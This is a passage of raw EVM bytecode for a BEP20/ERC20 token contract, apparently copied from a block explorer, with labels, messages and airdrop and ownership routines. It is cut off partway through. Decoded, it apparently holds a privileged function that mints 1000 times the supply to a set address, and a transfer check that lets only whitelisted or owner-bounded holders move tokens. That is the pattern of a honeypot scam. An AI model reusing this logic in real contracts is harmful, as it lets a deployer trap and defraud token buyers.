6b3576101008083540402835291602001916106de565b820191906000526020600020905b8154815290600101906020018083116106c157829003601f168201915b5050505050905090565b60006106fc6106f56115d5565b84846117b0565b6001905092915050565b6000600354905090565b600061071d84848461197b565b6107de846107296115d5565b6107d98560405180606001604052806028815260200161308360289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061078f6115d5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd59092919063ffffffff16565b6117b0565b600190509392505050565b6000600d60009054906101000a900460ff16905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108416115d5565b73ffffffffffffffffffffffffffffffffffffffff1614610897576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088e906128b0565b60405180910390fd5b600060016000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006103e860035461090f9190612b09565b90506003548161091f9190612a82565b60038190555081816109319190612a82565b60016000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a169190612a30565b60405180910390a35050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a636115d5565b73ffffffffffffffffffffffffffffffffffffffff1614610ab9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab0906128b0565b60405180910390fd5b6007819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b606115d5565b73ffffffffffffffffffffffffffffffffffffffff1614610bb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bad906128b0565b60405180910390fd5b60005b82829050811015610c87576006838383818110610bff577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002016020810190610c149190612458565b9080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508080610c7f90612c51565b915050610bb9565b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610cdd6115d5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d61906129d0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600c8054610e6090612c1f565b80601f0160208091040260200160405190810160405280929190818152602001828054610e8c90612c1f565b8015610ed95780601f10610eae57610100808354040283529160200191610ed9565b820191906000526020600020905b815481529060010190602001808311610ebc57829003601f168201915b5050505050905090565b6000610ef7610ef06115d5565b848461197b565b6001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f426115d5565b73ffffffffffffffffffffffffffffffffffffffff1614610f98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8f906128b0565b60405180910390fd5b80600e8190555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fe36115d5565b73ffffffffffffffffffffffffffffffffffffffff1614611039576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611030906128b0565b60405180910390fd5b8060048190555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110846115d5565b73ffffffffffffffffffffffffffffffffffffffff16146110da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d1906128b0565b60405180910390fd5b61110260646110f48360035461151090919063ffffffff16565b61158b90919063ffffffff16565b600f8190555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661114c6115d5565b73ffffffffffffffffffffffffffffffffffffffff16146111a2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611199906128b0565b60405180910390fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112276115d5565b73ffffffffffffffffffffffffffffffffffffffff161461127d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611274906128b0565b60405180910390fd5b600e54600581905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6006818154811061131f57600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6113566115d5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113da906129d0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611453576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144a90612910565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808314156115235760009050611585565b600082846115319190612b09565b90508284826115409190612ad8565b14611580576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611577906129b0565b60405180910390fd5b809150505b92915050565b60006115cd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612039565b905092915050565b600033905090565b6000611668826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd59092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116fd82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461209c90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161179d9190612a30565b60405180910390a3600190509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611820576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181790612a10565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611890576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188790612930565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161196e9190612a30565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e2906128d0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a52906129f0565b60405180910390fd5b60011515611a68846120fa565b15151415611ab5576004548110611ab4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aab90612990565b60405180910390fd5b5b611abd610e28565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611b435750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611cf657611bb4816040518060600160405280602681526020016130ab60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd59092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c4981600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461209c90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ce99190612a30565b60405180910390a3611fd0565b611cff836121cb565b611d0857600080fd5b6000611d326064611d246004548561151090919063ffffffff16565b61158b90919063ffffffff16565b90506000611d49828461227f90919063ffffffff16565b9050611db7836040518060600160405280602681526020016130ab60269139600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd59092919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e4c81600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461209c90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f038260016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461209c90919063ffffffff16565b60016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611fc59190612a30565b60405180910390a350505b505050565b600083831115829061201d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612014919061288e565b60405180910390fd5b506000838561202c9190612b63565b9050809150509392505050565b60008083118290612080576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612077919061288e565b60405180910390fd5b506000838561208f9190612ad8565b9050809150509392505050565b60008082846120ab9190612a82565b9050838110156120f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e790612970565b60405180910390fd5b8091505092915050565b600080600090505b6006805490508110156121c4578273ffffffffffffffffffffffffffffffffffffffff1660068281548110612160577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156121b15760019150506121c6565b80806121bc90612c51565b915050612102565b505b919050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480612235575060011515612231836122c9565b1515145b15612243576001905061227a565b60055461224f83610c8c565b101580156122675750600f5461226483610c8c565b11155b15612275576000905061227a565b600190505b919050565b60006122c183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611fd5565b905092915050565b600080600090505b600780549050811015612393578273ffffffffffffffffffffffffffffffffffffffff166007828154811061232f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612380576001915050612395565b808061238b90612c51565b9150506122d1565b505b919050565b6000813590506123a981613054565b92915050565b60008083601f8401126123c157600080fd5b8235905067ffffffffffffffff8111156123da57600080fd5b6020830191508360208202830111156123f257600080fd5b9250929050565b60008083601f84011261240b57600080fd5b8235905067ffffffffffffffff81111561242457600080fd5b60208301915083602082028301111561243c57600080fd5b9250929050565b6000813590506124528161306b565b92915050565b60006020828403121561246a57600080fd5b60006124788482850161239a565b91505092915050565b6000806040838503121561249457600080fd5b60006124a28582860161239a565b92505060206124b38582860161239a565b9150509250929050565b6000806000606084860312156124d257600080fd5b60006124e08682870161239a565b93505060206124f18682870161239a565b925050604061250286828701612443565b9150509250925092565b60008060008060006060868803121561252457600080fd5b60006125328882890161239a565b955050602086013567ffffffffffffffff81111561254f57600080fd5b61255b888289016123af565b9450945050604086013567ffffffffffffffff81111561257a57600080fd5b612586888289016123f9565b92509250509295509295909350565b600080604083850312156125a857600080fd5b60006125b68582860161239a565b92505060206125c785828601612443565b9150509250929050565b600080602083850312156125e457600080fd5b600083013567ffffffffffffffff8111156125fe57600080fd5b61260a858286016123af565b92509250509250929050565b60006020828403121561262857600080fd5b600061263684828501612443565b91505092915050565b61264881612b97565b82525050565b61265781612ba9565b82525050565b600061266882612a66565b6126728185612a71565b9350612682818560208601612bec565b61268b81612d27565b840191505092915050565b60006126a3602083612a71565b91506126ae82612d38565b602082019050919050565b60006126c6602583612a71565b91506126d182612d61565b604082019050919050565b60006126e9602883612a71565b91506126f482612db0565b604082019050919050565b600061270c602683612a71565b915061271782612dff565b604082019050919050565b600061272f602283612a71565b915061273a82612e4e565b604082019050919050565b6000612752601c83612a71565b915061275d82612e9d565b602082019050919050565b6000612775601b83612a71565b915061278082612ec6565b602082019050919050565b6000612798602883612a71565b91506127a382612eef565b604082019050919050565b60006127bb602183612a71565b91506127c682612f3e565b604082019050919050565b60006127de602083612a71565b91506127e982612f8d565b602082019050919050565b6000612801602383612a71565b915061280c82612fb6565b604082019050919050565b6000612824602483612a71565b915061282f82613005565b604082019050919050565b61284381612bd5565b82525050565b61285281612bdf565b82525050565b600060208201905061286d600083018461263f565b92915050565b6000602082019050612888600083018461264e565b92915050565b600060208201905081810360008301526128a8818461265d565b905092915050565b600060208201905081810360008301526128c981612696565b9050919050565b600060208201905081810360008301526128e9816126b9565b9050919050565b60006020820190508181036000830152612909816126dc565b9050919050565b60006020820190508181036000830152612929816126ff565b9050919050565b6000602082019050818103600083015261294981612722565b9050919050565b6000602082019050818103600083015261296981612745565b9050919050565b6000602082019050818103600083015261298981612768565b9050919050565b600060208201905081810360008301526129a98161278b565b9050919050565b600060208201905081810360008301526129c9816127ae565b9050919050565b600060208201905081810360008301526129e9816127d1565b9050919050565b60006020820190508181036000830152612a09816127f4565b9050919050565b60006020820190508181036000830152612a2981612817565b9050919050565b6000602082019050612a45600083018461283a565b92915050565b6000602082019050612a606000830184612849565b92915050565b600081519050919050565b600082825260208201905092915050565b6000612a8d82612bd5565b9150612a9883612bd5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612acd57612acc612c9a565b5b828201905092915050565b6000612ae382612bd5565b9150612aee83612bd5565b925082612afe57612afd612cc9565b5b828204905092915050565b6000612b1482612bd5565b9150612b1f83612bd5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612b5857612b57612c9a565b5b828202905092915050565b6000612b6e82612bd5565b9150612b7983612bd5565b925082821015612b8c57612b8b612c9a565b5b828203905092915050565b6000612ba282612bb5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015612c0a578082015181840152602081019050612bef565b83811115612c19576000848401525b50505050565b60006002820490506001821680612c3757607f821691505b60208210811415612c4b57612c4a612cf8565b5b50919050565b6000612c5c82612bd5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612c8f57612c8e612c9a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a2063616e6e6f74207065726d6974206465762061646472657373600082015250565b7f42455032303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4d69736d61746368206265747765656e204164647265737320616e6420746f6b60008201527f656e20636f756e74000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4e6f7420656e6f75676820746f6b656e7320746f2061697264726f7000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f42455032303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61305d81612b97565b811461306857600080fd5b50565b61307481612bd5565b811461307f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365a2646970667358221220ef21e605272850a798464a649dd4ea52790e90f99a9c5e2b4756fd5dd05c7e8e64736f6c63430008040033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101425760003560e01c80638da5cb5b116100b8578063b801a1a31161007c578063b801a1a31461033d578063ca72a4e714610359578063cc8f60d914610375578063dd62ed3e1461037f578063df936446146103af578063f2fde38b146103df57610142565b80638da5cb5b1461029957806395d89b41146102b7578063a9059cbb146102d5578063acedf07c14610305578063b55053351461032157610142565b8063313ce5671161010a578063313ce567146101ff5780635d254d5d1461021d5780635fecd92614610227578063657af9771461024357806370a082311461025f578063715018a61461028f57610142565b8063025ff12f1461014757806306fdde0314610163578063095ea7b31461018157806318160ddd146101b157806323b872dd146101cf575b600080fd5b610161600480360381019061015c919061250c565b6103fb565b005b61016b610656565b604051610178919061288e565b60405180910390f35b61019b60048036038101906101969190612595565b6106e8565b6040516101a89190612873565b60405180910390f35b6101b9610706565b6040516101c69190612a30565b60405180910390f35b6101e960048036038101906101e491906124bd565b610710565b6040516101f69190612873565b60405180910390f35b6102076107e9565b6040516102149190612a4b565b60405180910390f35b610225610800565b005b610241600480360381019061023c9190612458565b610a22565b005b61025d600480360381019061025891906125d1565b610b1f565b005b61027960048036038101906102749190612458565b610c8c565b6040516102869190612a30565b60405180910390f35b610297610cd5565b005b6102a1610e28565b6040516102ae9190612858565b60405180910390f35b6102bf610e51565b6040516102cc919061288e565b60405180910390f35b6102ef60048036038101906102ea9190612595565b610ee3565b6040516102fc9190612873565b60405180910390f35b61031f600480360381019061031a9190612616565b610f01565b005b61033b60048036038101906103369190612616565b610fa2565b005b61035760048036038101906103529190612616565b611043565b005b610373600480360381019061036e9190612458565b61110b565b005b61037d6111e6565b005b61039960048036038101906103949190612481565b611288565b6040516103a69190612a30565b60405180910390f35b6103c960048036038101906103c49190612616565b61130f565b6040516103d69190612858565b60405180910390f35b6103f960048036038101906103f49190612458565b61134e565b005b6104036115d5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610490576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610487906129d0565b60405180910390fd5b60008282905085859050146104da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104d1906128f0565b60405180910390fd5b60005b8585905081101561054857838382818110610521577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020135826105339190612a82565b9150808061054090612c51565b9150506104dd565b508061055387610c8c565b1015610594576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058b90612950565b60405180910390fd5b60005b8585905081101561064d57610639878787848181106105df577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906105f49190612458565b86868581811061062d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201356115dd565b50808061064590612c51565b915050610597565b50505050505050565b6060600b805461066590612c1f565b80601f016020809104026020016040519081016040528092919081815260200182805461069190612c1f565b80156106de5780601f106106b3576101008083540402835291602001916106de565b820191906000526020600020905b8154815290600101906020018083116106c157829003601f168201915b5050505050905090565b60006106fc6106f56115d5565b84846117b0565b6001905092915050565b6000600354905090565b600061071d84848461197b565b6107de846107296115d5565b6107d98560405180606001604052806028815260200161308360289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061078f6115d5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd59092919063ffffffff16565b6117b0565b600190509392505050565b6000600d60009054906101000a900460ff16905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108416115d5565b73ffffffffffffffffffffffffffffffffffffffff1614610897576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088e906128b0565b60405180910390fd5b600060016000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006103e860035461090f9190612b09565b90506003548161091f9190612a82565b60038190555081816109319190612a82565b60016000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a169190612a30565b60405180910390a35050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a636115d5565b73ffffffffffffffffffffffffffffffffffffffff1614610ab9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab0906128b0565b60405180910390fd5b6007819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b606115d5565b73ffffffffffffffffffffffffffffffffffffffff1614610bb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bad906128b0565b60405180910390fd5b60005b82829050811015610c87576006838383818110610bff577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002016020810190610c149190612458565b9080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508080610c7f90612c51565b915050610bb9565b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610cdd6115d5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d61906129d0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600c8054610e6090612c1f565b80601f0160208091040260200160405190810160405280929190818152602001828054610e8c90612c1f565b8015610ed95780601f10610eae57610100808354040283529160200191610ed9565b820191906000526020600020905b815481529060010190602001808311610ebc57829003601f168201915b5050505050905090565b6000610ef7610ef06115d5565b848461197b565b6001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f426115d5565b73ffffffffffffffffffffffffffffffffffffffff1614610f98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8f906128b0565b60405180910390fd5b80600e8190555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fe36115d5565b73ffffffffffffffffffffffffffffffffffffffff1614611039576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611030906128b0565b60405180910390fd5b8060048190555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110846115d5565b73ffffffffffffffffffffffffffffffffffffffff16146110da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d1906128b0565b60405180910390fd5b61110260646110f48360035461151090919063ffffffff16565b61158b90919063ffffffff16565b600f8190555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661114c6115d5565b73ffffffffffffffffffffffffffffffffffffffff16146111a2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611199906128b0565b60405180910390fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112276115d5565b73ffffffffffffffffffffffffffffffffffffffff161461127d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611274906128b0565b60405180910390fd5b600e54600581905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6006818154811061131f57600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6113566115d5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113da906129d0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611453576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144a90612910565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808314156115235760009050611585565b600082846115319190612b09565b90508284826115409190612ad8565b14611580576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611577906129b0565b60405180910390fd5b809150505b92915050565b60006115cd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612039565b905092915050565b600033905090565b6000611668826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd59092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116fd82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461209c90919063ffffffff16565b600160008573ffffffffffffffff